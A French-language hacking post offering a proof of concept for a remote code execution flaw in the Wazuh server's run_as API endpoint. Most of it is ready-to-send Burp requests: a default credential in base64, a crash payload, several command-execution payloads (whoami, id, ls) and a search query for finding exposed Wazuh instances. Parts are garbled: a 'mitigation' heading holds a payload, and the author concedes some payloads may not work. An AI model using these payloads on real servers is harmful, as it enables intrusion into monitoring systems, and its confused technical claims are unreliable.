
Une vulnérabilité critique de type RCE a été identifiée dans le serveur Wazuh en raison d'une désérialisation non sécurisée dans le package wazuh-manager. Ce bogue affecte les versions de Wazuh ≥ 4.4.0 et a été corrigé dans la version 4.9.1.
🚨 Wazuh Remote Code Execution (RCE) - PoC
Une vulnérabilité critique de RCE a été identifiée dans le serveur Wazuh en raison d'une désérialisation non sécurisée dans le paquet wazuh-manager. Ce bogue affecte les versions de Wazuh ≥ 4.4.0 et a été corrigé dans la version 4.9.1.
🔍 Détails
Le défaut se trouve dans le DistributedAPI de l'API Wazuh, où les entrées contrôlées par l'utilisateur sont désérialisées de manière non sécurisée. Cela permet aux attaquants ayant accès à l'API (par exemple, un tableau de bord compromis ou un nœud de cluster) d'exécuter du code Python arbitraire sur le serveur maître via le point de terminaison
run_as.
📬 Preuve de concept (requête Burp)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 L'en-tête Authorization est le base64 de wazuh-wui:MyS3cr37P450r.*-.
📌 La charge utile provoque l'arrêt du serveur Wazuh en appelant la méthode Python exit().
💥 Impact
🛡️ Atténuation
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
Mais cela seul ne fonctionnera pas à moins que le code de désérialisation exécute réellement l'arborescence d'objets. Utilisez plutôt un objet basé sur __reduce__ qui exécute du code.
Voici le format fonctionnel pour une requête Burp utilisant os.system() de Python via une logique de type pickle :
💣 Charge utile Burp RCE fonctionnelle (exécution de code Python)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 Pour exécuter ls, modifiez la charge utile :
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
Vous pouvez également utiliser :
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ Remarque : La désérialisation réelle doit se produire avec eval() ou des mécanismes similaires dans le backend pour que cela fonctionne. D'après la preuve de concept Wazuh, c'est effectivement possible si vous contrôlez auth_context.
🔐 Astuce de pro Interceptez la requête dans Burp, allez dans l'onglet Repeater, et testez plusieurs charges utiles comme :
"whoami""id""uname -a""ls /home/wazuh"👇Requête
product.name="Wazuh"app="Wazuh"Si la réponse est vide ou que le statut est 500, vérifiez les logs — parfois la sortie n'est pas renvoyée. 📚 Restez affûtés, hackers ! Plus de preuves de concept pour bug bounty, bypasses et charges utiles arrivent !
Suivez 👉 @cybersecplayground pour du contenu de hacking quotidien !
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit